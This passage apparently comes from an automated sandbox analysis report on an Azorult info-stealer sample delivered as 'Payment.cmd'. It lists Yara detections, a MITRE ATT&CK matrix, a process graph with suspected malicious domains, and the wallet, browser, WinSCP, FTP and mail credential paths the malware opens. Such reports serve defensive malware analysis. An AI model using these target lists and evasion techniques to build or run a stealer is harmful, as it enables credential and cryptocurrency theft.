            Source: C:\Users\Public\alpha.exeCode function: 4_2_00007FF78CF68654 GetSystemTime,SystemTimeToFileTime,4_2_00007FF78CF68654
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E46CB4 ConvertStringSidToSidW,LookupAccountNameW,GetLastError,#359,LocalAlloc,#357,LocalAlloc,LookupAccountNameW,GetLastError,IsValidSid,LocalFree,LocalFree,7_2_00007FF6E3E46CB4
            Source: C:\Users\Public\alpha.exeCode function: 4_2_00007FF78CF4586C GetVersion,4_2_00007FF78CF4586C
            Source: C:\Users\Public\Libraries\uhvutpdX.pifKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid
            Source: AnyDesk.PIF, 0000000A.00000003.2215476747.000000007EF70000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000002.2280183782.000000007F2C0000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: cmdagent.exe
            Source: AnyDesk.PIF, 0000000A.00000003.2215476747.000000007EF70000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000002.2280183782.000000007F2C0000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: quhlpsvc.exe
            Source: AnyDesk.PIF, 0000000A.00000003.2215476747.000000007EF70000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000002.2280183782.000000007F2C0000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: avgamsvr.exe
            Source: AnyDesk.PIF, 0000000A.00000003.2215476747.000000007EF70000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000002.2280183782.000000007F2C0000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: TMBMSRV.exe
            Source: AnyDesk.PIF, 0000000A.00000003.2215476747.000000007EF70000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000002.2280183782.000000007F2C0000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: Vsserv.exe
            Source: AnyDesk.PIF, 0000000A.00000003.2215476747.000000007EF70000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000002.2280183782.000000007F2C0000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: avgupsvc.exe
            Source: AnyDesk.PIF, 0000000A.00000003.2215476747.000000007EF70000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000002.2280183782.000000007F2C0000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: avgemc.exe
            Source: AnyDesk.PIF, 0000000A.00000003.2215476747.000000007EF70000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000002.2280183782.000000007F2C0000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: MsMpEng.exe

            Stealing of Sensitive Information

            barindex
            Yara detected Azorult
            Source: Yara matchFile source: 19.1.uhvutpdX.pif.400000.1.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 19.2.uhvutpdX.pif.400000.1.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 35.1.uhvutpdX.pif.400000.0.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 10.2.AnyDesk.PIF.21c460d8.9.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 27.2.uhvutpdX.pif.400000.0.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 27.1.uhvutpdX.pif.400000.0.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 27.1.uhvutpdX.pif.400000.0.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 27.2.uhvutpdX.pif.400000.0.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 19.2.uhvutpdX.pif.4b6d28.0.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 19.2.uhvutpdX.pif.400000.1.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 19.1.uhvutpdX.pif.400000.1.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 19.1.uhvutpdX.pif.4b6d28.0.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 35.1.uhvutpdX.pif.400000.0.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 27.2.uhvutpdX.pif.2ddfa89c.6.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 27.2.uhvutpdX.pif.2de87fda.5.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 27.2.uhvutpdX.pif.2de1c889.4.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 00000013.00000002.2431594792.0000000026B20000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 0000001B.00000001.2363824050.0000000000479000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 0000001A.00000002.2390279233.0000000020908000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000013.00000002.2431642585.0000000026B30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 0000001B.00000002.2542181487.000000002E15C000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 0000001A.00000002.2390279233.000000002088E000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000013.00000001.2243838356.000000000047C000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 0000000A.00000002.2278953732.0000000021B8F000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 0000001B.00000001.2363824050.0000000000400000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000023.00000001.2443186180.0000000000400000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 0000000A.00000002.2278953732.0000000021C29000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 0000001B.00000002.2514012472.0000000000479000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000013.00000002.2411111146.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000013.00000001.2243838356.0000000000400000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000023.00000001.2443186180.0000000000479000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000013.00000002.2411111146.000000000047C000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 0000001A.00000002.2390279233.00000000208AB000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 0000001B.00000002.2514012472.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 0000001B.00000002.2541964878.000000002DDF0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: Process Memory Space: AnyDesk.PIF PID: 5848, type: MEMORYSTR
            Source: Yara matchFile source: Process Memory Space: uhvutpdX.pif PID: 5412, type: MEMORYSTR
            Yara detected Azorult Info Stealer
            Source: Yara matchFile source: 19.1.uhvutpdX.pif.400000.1.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 19.2.uhvutpdX.pif.400000.1.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 35.1.uhvutpdX.pif.400000.0.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 10.2.AnyDesk.PIF.21c460d8.9.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 27.2.uhvutpdX.pif.400000.0.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 27.1.uhvutpdX.pif.400000.0.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 27.1.uhvutpdX.pif.400000.0.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 27.2.uhvutpdX.pif.400000.0.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 19.2.uhvutpdX.pif.4b6d28.0.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 19.2.uhvutpdX.pif.400000.1.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 19.1.uhvutpdX.pif.400000.1.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 19.1.uhvutpdX.pif.4b6d28.0.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 35.1.uhvutpdX.pif.400000.0.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 0000001B.00000001.2363824050.0000000000479000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 0000001A.00000002.2390279233.0000000020908000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 0000001A.00000002.2390279233.000000002088E000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000013.00000001.2243838356.000000000047C000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 0000000A.00000002.2278953732.0000000021B8F000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 0000001B.00000001.2363824050.0000000000400000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000023.00000001.2443186180.0000000000400000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 0000000A.00000002.2278953732.0000000021C29000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 0000001B.00000002.2514012472.0000000000479000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000013.00000002.2411111146.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000013.00000001.2243838356.0000000000400000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000023.00000001.2443186180.0000000000479000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000013.00000002.2411111146.000000000047C000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 0000001A.00000002.2390279233.00000000208AB000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 0000001B.00000002.2514012472.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: Process Memory Space: AnyDesk.PIF PID: 5848, type: MEMORYSTR
            Source: Yara matchFile source: Process Memory Space: uhvutpdX.pif PID: 5412, type: MEMORYSTR
            Found many strings related to Crypto-Wallets (likely being stolen)
            Source: uhvutpdX.pif, 00000013.00000002.2431110845.00000000250EF000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: (wallets\electrum.datr Data\
            Source: uhvutpdX.pif, 00000013.00000002.2431594792.0000000026B20000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: %appdata%\Electrum\wallets\
            Source: uhvutpdX.pif, 00000013.00000002.2431594792.0000000026B20000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: %APPDATA%\Jaxx\Local Storage\
            Source: uhvutpdX.pif, 00000013.00000002.2431594792.0000000026B20000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: %APPDATA%\Exodus\
            Source: uhvutpdX.pif, 00000013.00000002.2431594792.0000000026B20000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: %APPDATA%\Jaxx\Local Storage\
            Source: uhvutpdX.pif, 00000013.00000002.2431594792.0000000026B20000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: %APPDATA%\Ethereum\keystore\
            Source: uhvutpdX.pif, 00000013.00000002.2431594792.0000000026B20000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: %APPDATA%\Exodus\
            Source: uhvutpdX.pif, 00000013.00000002.2431594792.0000000026B20000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: %APPDATA%\Ethereum\keystore\
            Source: uhvutpdX.pif, 00000013.00000002.2431594792.0000000026B20000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: %APPDATA%\Ethereum\keystore\
            Source: uhvutpdX.pif, 00000013.00000002.2431594792.0000000026B20000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: %appdata%\Electrum-LTC\wallets\
            Tries to harvest and steal Bitcoin Wallet information
            Source: C:\Users\Public\Libraries\uhvutpdX.pifKey opened: HKEY_CURRENT_USER\Software\monero-project\monero-core
            Source: C:\Users\Public\Libraries\uhvutpdX.pifKey opened: HKEY_CURRENT_USER\Software\Bitcoin\Bitcoin-Qt
            Source: C:\Users\Public\Libraries\uhvutpdX.pifKey opened: HKEY_CURRENT_USER\Software\monero-project\monero-core
            Source: C:\Users\Public\Libraries\uhvutpdX.pifKey opened: HKEY_CURRENT_USER\Software\Bitcoin\Bitcoin-Qt
            Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)
            Source: C:\Users\Public\Libraries\uhvutpdX.pifKey opened: HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2\Sessions\
            Source: C:\Users\Public\Libraries\uhvutpdX.pifKey opened: HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2\Sessions\
            Tries to harvest and steal browser information (history, passwords, etc)
            Source: C:\Users\Public\Libraries\uhvutpdX.pifFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
            Source: C:\Users\Public\Libraries\uhvutpdX.pifFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
            Source: C:\Users\Public\Libraries\uhvutpdX.pifFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite
            Source: C:\Users\Public\Libraries\uhvutpdX.pifFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
            Tries to harvest and steal ftp login credentials
            Source: C:\Users\Public\Libraries\uhvutpdX.pifFile opened: C:\Users\user\AppData\Roaming\filezilla\recentservers.xml
            Tries to steal Crypto Currency Wallets
            Source: C:\Users\Public\Libraries\uhvutpdX.pifFile opened: C:\Users\user\AppData\Roaming\Electrum\wallets\Jump to behavior
            Source: C:\Users\Public\Libraries\uhvutpdX.pifFile opened: C:\Users\user\AppData\Roaming\Electrum\wallets\Jump to behavior
            Source: C:\Users\Public\Libraries\uhvutpdX.pifFile opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\Jump to behavior
            Source: C:\Users\Public\Libraries\uhvutpdX.pifFile opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\Jump to behavior
            Source: C:\Users\Public\Libraries\uhvutpdX.pifFile opened: C:\Users\user\AppData\Roaming\ElectrumG\wallets\Jump to behavior
            Source: C:\Users\Public\Libraries\uhvutpdX.pifFile opened: C:\Users\user\AppData\Roaming\Electrum-btcp\wallets\Jump to behavior
            Source: C:\Users\Public\Libraries\uhvutpdX.pifFile opened: C:\Users\user\AppData\Roaming\Exodus\Jump to behavior
            Source: C:\Users\Public\Libraries\uhvutpdX.pifFile opened: C:\Users\user\AppData\Roaming\Exodus Eden\Jump to behavior
            Source: C:\Users\Public\Libraries\uhvutpdX.pifFile opened: C:\Users\user\AppData\Roaming\Jaxx\Local Storage\Jump to behavior
            Source: C:\Users\Public\Libraries\uhvutpdX.pifFile opened: C:\Users\user\AppData\Roaming\Electrum\wallets\
            Source: C:\Users\Public\Libraries\uhvutpdX.pifFile opened: C:\Users\user\AppData\Roaming\Electrum\wallets\
            Source: C:\Users\Public\Libraries\uhvutpdX.pifFile opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\
            Source: C:\Users\Public\Libraries\uhvutpdX.pifFile opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\
            Source: C:\Users\Public\Libraries\uhvutpdX.pifFile opened: C:\Users\user\AppData\Roaming\ElectrumG\wallets\
            Source: C:\Users\Public\Libraries\uhvutpdX.pifFile opened: C:\Users\user\AppData\Roaming\Electrum-btcp\wallets\
            Source: C:\Users\Public\Libraries\uhvutpdX.pifFile opened: C:\Users\user\AppData\Roaming\Exodus\
            Source: C:\Users\Public\Libraries\uhvutpdX.pifFile opened: C:\Users\user\AppData\Roaming\Exodus Eden\
            Source: C:\Users\Public\Libraries\uhvutpdX.pifFile opened: C:\Users\user\AppData\Roaming\Jaxx\Local Storage\
            Tries to steal Instant Messenger accounts or passwords
            Source: C:\Users\Public\Libraries\uhvutpdX.pifFile opened: C:\Users\user\AppData\Roaming\.purple\accounts.xmlJump to behavior
            Source: C:\Users\Public\Libraries\uhvutpdX.pifFile opened: C:\Users\user\AppData\Roaming\.purple\accounts.xmlJump to behavior
            Source: C:\Users\Public\Libraries\uhvutpdX.pifFile opened: C:\Users\user\AppData\Roaming\.purple\accounts.xml
            Source: C:\Users\Public\Libraries\uhvutpdX.pifFile opened: C:\Users\user\AppData\Roaming\.purple\accounts.xml
            Tries to steal Mail credentials (via file / registry access)
            Source: C:\Users\Public\Libraries\uhvutpdX.pifKey opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook
            Source: C:\Users\Public\Libraries\uhvutpdX.pifKey opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook
            Source: Yara matchFile source: 27.2.uhvutpdX.pif.2ddfa89c.6.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 19.2.uhvutpdX.pif.286c4382.6.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 27.2.uhvutpdX.pif.2de87fda.5.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 27.2.uhvutpdX.pif.2de1c889.4.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 19.2.uhvutpdX.pif.28636c44.7.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 19.2.uhvutpdX.pif.28658c31.8.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 00000013.00000002.2432669429.0000000028620000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 0000001B.00000002.2541964878.000000002DDF0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: Process Memory Space: uhvutpdX.pif PID: 5412, type: MEMORYSTR
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DA227C DsGetDcNameW,#357,DsBindW,DsCrackNamesW,#357,#357,#357,#357,#357,LocalAlloc,#359,DsUnBindW,NetApiBufferFree,DsFreeNameResultW,LocalFree,LocalFree,7_2_00007FF6E3DA227C
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DBE568 #357,LookupAccountSidW,GetLastError,#357,DsGetDcNameW,DsBindW,DsGetDomainControllerInfoW,DsGetDomainControllerInfoW,#357,DsUnBindW,NetApiBufferFree,LocalFree,7_2_00007FF6E3DBE568
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DA54A0 wcschr,NetApiBufferFree,DsFreeNameResultW,#13,LocalFree,DsGetDcNameW,#359,#224,#224,DsBindW,#357,DsCrackNamesW,#357,#145,#359,#359,#14,#359,#73,#359,#208,#26,#127,LocalFree,#140,#359,#224,#167,#27,#357,#357,#41,NetApiBufferFree,DsUnBindW,DsFreeNameResultW,#13,LocalFree,7_2_00007FF6E3DA54A0
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DC5648 #357,#357,DsGetSiteNameW,#359,LocalAlloc,LocalAlloc,GetTickCount,DsGetSiteNameW,GetTickCount,#207,LocalFree,#359,NetApiBufferFree,#357,#357,#207,LocalFree,#359,#359,#359,LocalFree,NetApiBufferFree,NetApiBufferFree,LocalFree,LocalFree,#357,DsUnBindW,7_2_00007FF6E3DC5648

            Mitre Att&ck Matrix

            ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
            Gather Victim Identity InformationAcquire Infrastructure2
            Valid Accounts            		1
            Native API            		1
            DLL Side-Loading            		1
            DLL Side-Loading            		2
            Disable or Modify Tools            		2
            OS Credential Dumping            		1
            System Time Discovery            		Remote Services11
            Archive Collected Data            		1
            Ingress Tool Transfer            		Exfiltration Over Other Network Medium1
            Data Encrypted for Impact
            CredentialsDomainsDefault Accounts1
            Shared Modules            		2
            Valid Accounts            		2
            Valid Accounts            		1
            Deobfuscate/Decode Files or Information            		2
            Credentials in Registry            		1
            Account Discovery            		Remote Desktop Protocol4
            Data from Local System            		21
            Encrypted Channel            		Exfiltration Over BluetoothNetwork Denial of Service
            Email AddressesDNS ServerDomain AccountsAt1
            Registry Run Keys / Startup Folder            		21
            Access Token Manipulation            		2
            Obfuscated Files or Information            		1
            Credentials In Files            		1
            System Network Connections Discovery            		SMB/Windows Admin Shares1
            Email Collection            		3
            Non-Application Layer Protocol            		Automated ExfiltrationData Encrypted for Impact
            Employee NamesVirtual Private ServerLocal AccountsCronLogin Hook311
            Process Injection            		1
            Install Root Certificate            		NTDS2
            File and Directory Discovery            		Distributed Component Object ModelInput Capture114
            Application Layer Protocol            		Traffic DuplicationData Destruction
            Gather Victim Network InformationServerCloud AccountsLaunchdNetwork Logon Script1
            Registry Run Keys / Startup Folder            		1
            Software Packing            		LSA Secrets47
            System Information Discovery            		SSHKeyloggingFallback ChannelsScheduled TransferData Encrypted for Impact
            Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC ScriptsRC Scripts1
            Timestomp            		Cached Domain Credentials241
            Security Software Discovery            		VNCGUI Input CaptureMultiband CommunicationData Transfer Size LimitsService Stop
            DNSWeb ServicesExternal Remote ServicesSystemd TimersStartup ItemsStartup Items1
            DLL Side-Loading            		DCSync1
            Virtualization/Sandbox Evasion            		Windows Remote ManagementWeb Portal CaptureCommonly Used PortExfiltration Over C2 ChannelInhibit System Recovery
            Network Trust DependenciesServerlessDrive-by CompromiseContainer Orchestration JobScheduled Task/JobScheduled Task/Job1
            File Deletion            		Proc Filesystem1
            Process Discovery            		Cloud ServicesCredential API HookingApplication Layer ProtocolExfiltration Over Alternative ProtocolDefacement
            Network TopologyMalvertisingExploit Public-Facing ApplicationCommand and Scripting InterpreterAtAt221
            Masquerading            		/etc/passwd and /etc/shadow1
            System Owner/User Discovery            		Direct Cloud VM ConnectionsData StagedWeb ProtocolsExfiltration Over Symmetric Encrypted Non-C2 ProtocolInternal Defacement
            IP AddressesCompromise InfrastructureSupply Chain CompromisePowerShellCronCron2
            Valid Accounts            		Network SniffingNetwork Service DiscoveryShared WebrootLocal Data StagingFile Transfer ProtocolsExfiltration Over Asymmetric Encrypted Non-C2 ProtocolExternal Defacement
            Network Security AppliancesDomainsCompromise Software Dependencies and Development ToolsAppleScriptLaunchdLaunchd1
            Virtualization/Sandbox Evasion            		Input CaptureSystem Network Connections DiscoverySoftware Deployment ToolsRemote Data StagingMail ProtocolsExfiltration Over Unencrypted Non-C2 ProtocolFirmware Corruption
            Gather Victim Org InformationDNS ServerCompromise Software Supply ChainWindows Command ShellScheduled TaskScheduled Task21
            Access Token Manipulation            		KeyloggingProcess DiscoveryTaint Shared ContentScreen CaptureDNSExfiltration Over Physical MediumResource Hijacking
            Determine Physical LocationsVirtual Private ServerCompromise Hardware Supply ChainUnix ShellSystemd TimersSystemd Timers311
            Process Injection            		GUI Input CapturePermission Groups DiscoveryReplication Through Removable MediaEmail CollectionProxyExfiltration over USBNetwork Denial of Service

            Behavior Graph

            Hide Legend

            Legend:

            • Process
            • Signature
            • Created File
            • DNS/IP Info
            • Is Dropped
            • Is Windows Process
            • Number of created Registry Values
            • Number of created Files
            • Visual Basic
            • Delphi
            • Java
            • .Net C# or VB.NET
            • C, C++ or other language
            • Is malicious
            • Internet
            behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1534923 Sample: Payment.cmd Startdate: 16/10/2024 Architecture: WINDOWS Score: 100 104 eaznetagencies.co.ke 2->104 106 dsye.shop 2->106 122 Suricata IDS alerts for network traffic 2->122 124 Found malware configuration 2->124 126 Malicious sample detected (through community Yara rule) 2->126 128 11 other signatures 2->128 10 cmd.exe 1 2->10         started        12 Xdptuvhu.PIF 2->12         started        15 Xdptuvhu.PIF 2->15         started        signatures3 process4 signatures5 17 AnyDesk.PIF 1 7 10->17         started        22 extrac32.exe 1 10->22         started        24 alpha.exe 1 10->24         started        30 5 other processes 10->30 158 Machine Learning detection for dropped file 12->158 160 Writes to foreign memory regions 12->160 162 Allocates memory in foreign processes 12->162 26 uhvutpdX.pif 12->26         started        164 Sample uses process hollowing technique 15->164 166 Allocates many large memory junks 15->166 28 uhvutpdX.pif 15->28         started        process6 dnsIp7 102 eaznetagencies.co.ke 170.10.161.45, 443, 49711, 49712 STEADFASTUS United States 17->102 88 C:\Users\Public\Libraries\uhvutpdX.pif, PE32 17->88 dropped 90 C:\Users\Public\Xdptuvhu.url, MS 17->90 dropped 92 C:\Users\Public\Libraries\Xdptuvhu, data 17->92 dropped 130 Machine Learning detection for dropped file 17->130 132 Drops PE files with a suspicious file extension 17->132 134 Writes to foreign memory regions 17->134 148 4 other signatures 17->148 32 uhvutpdX.pif 53 17->32         started        37 cmd.exe 1 17->37         started        39 esentutl.exe 2 17->39         started        94 C:\Users\Public\alpha.exe, PE32+ 22->94 dropped 136 Drops PE files to the user root directory 22->136 138 Drops or copies certutil.exe with a different name (likely to bypass HIPS) 22->138 140 Drops or copies cmd.exe with a different name (likely to bypass HIPS) 22->140 41 kn.exe 3 2 24->41         started        142 Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc) 26->142 144 Tries to steal Instant Messenger accounts or passwords 26->144 146 Tries to steal Mail credentials (via file / registry access) 26->146 150 4 other signatures 26->150 43 cmd.exe 26->43         started        45 kn.exe 2 30->45         started        47 extrac32.exe 1 30->47         started        file8 signatures9 process10 dnsIp11 100 dsye.shop 188.114.97.3, 49735, 49791, 49802 CLOUDFLARENETUS European Union 32->100 74 C:\Users\user\AppData\Local\...\softokn3.dll, PE32 32->74 dropped 76 C:\Users\user\AppData\Local\...\nssdbm3.dll, PE32 32->76 dropped 78 C:\Users\user\AppData\Local\Temp\...\nss3.dll, PE32 32->78 dropped 86 45 other files (2 malicious) 32->86 dropped 110 Detected unpacking (changes PE section rights) 32->110 112 Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc) 32->112 114 Tries to steal Instant Messenger accounts or passwords 32->114 120 4 other signatures 32->120 49 cmd.exe 32->49         started        51 esentutl.exe 2 37->51         started        55 alpha.pif 37->55         started        57 esentutl.exe 37->57         started        65 6 other processes 37->65 80 C:\Users\Public\Libraries\Xdptuvhu.PIF, PE32 39->80 dropped 59 conhost.exe 39->59         started        116 Registers a new ROOT certificate 41->116 118 Drops PE files with a suspicious file extension 41->118 61 conhost.exe 43->61         started        63 timeout.exe 43->63         started        82 C:\Users\Public\Libraries\AnyDesk.PIF, PE32 45->82 dropped 84 C:\Users\Public\kn.exe, PE32+ 47->84 dropped file12 signatures13 process14 file15 67 conhost.exe 49->67         started        69 timeout.exe 49->69         started        96 C:\Users\Public\alpha.pif, PE32 51->96 dropped 152 Drops PE files to the user root directory 51->152 154 Drops PE files with a suspicious file extension 51->154 156 Drops or copies cmd.exe with a different name (likely to bypass HIPS) 51->156 71 xpha.pif 55->71         started        98 C:\Users\Public\xpha.pif, PE32 57->98 dropped signatures16 process17 dnsIp18 108 127.0.0.1 unknown unknown 71->108

            Screenshots

            Thumbnails

            This section contains all screenshots as thumbnails, including those not shown in the slideshow.


            windows-stand

            Antivirus, Machine Learning and Genetic Malware Detection

            Initial Sample

            SourceDetectionScannerLabelLink
            Payment.cmd8%ReversingLabs

            Dropped Files

            SourceDetectionScannerLabelLink
            C:\Users\Public\Libraries\AnyDesk.PIF100%Joe Sandbox ML
            C:\Users\Public\Libraries\Xdptuvhu.PIF100%Joe Sandbox ML
            C:\Users\Public\Libraries\uhvutpdX.pif3%ReversingLabs
            C:\Users\Public\alpha.exe0%ReversingLabs
            C:\Users\Public\alpha.pif0%ReversingLabs
            C:\Users\Public\kn.exe0%ReversingLabs
            C:\Users\Public\xpha.pif0%ReversingLabs
            C:\Users\user\AppData\Local\Temp\4A2B4331\api-ms-win-core-console-l1-1-0.dll0%ReversingLabs
            C:\Users\user\AppData\Local\Temp\4A2B4331\api-ms-win-core-datetime-l1-1-0.dll0%ReversingLabs
            C:\Users\user\AppData\Local\Temp\4A2B4331\api-ms-win-core-debug-l1-1-0.dll0%ReversingLabs
            C:\Users\user\AppData\Local\Temp\4A2B4331\api-ms-win-core-errorhandling-l1-1-0.dll0%ReversingLabs
            C:\Users\user\AppData\Local\Temp\4A2B4331\api-ms-win-core-file-l1-1-0.dll0%ReversingLabs
            C:\Users\user\AppData\Local\Temp\4A2B4331\api-ms-win-core-file-l1-2-0.dll0%ReversingLabs
            C:\Users\user\AppData\Local\Temp\4A2B4331\api-ms-win-core-file-l2-1-0.dll0%ReversingLabs
            C:\Users\user\AppData\Local\Temp\4A2B4331\api-ms-win-core-handle-l1-1-0.dll0%ReversingLabs
            C:\Users\user\AppData\Local\Temp\4A2B4331\api-ms-win-core-heap-l1-1-0.dll0%ReversingLabs
            C:\Users\user\AppData\Local\Temp\4A2B4331\api-ms-win-core-interlocked-l1-1-0.dll0%ReversingLabs
            C:\Users\user\AppData\Local\Temp\4A2B4331\api-ms-win-core-libraryloader-l1-1-0.dll0%ReversingLabs
            C:\Users\user\AppData\Local\Temp\4A2B4331\api-ms-win-core-localization-l1-2-0.dll0%ReversingLabs
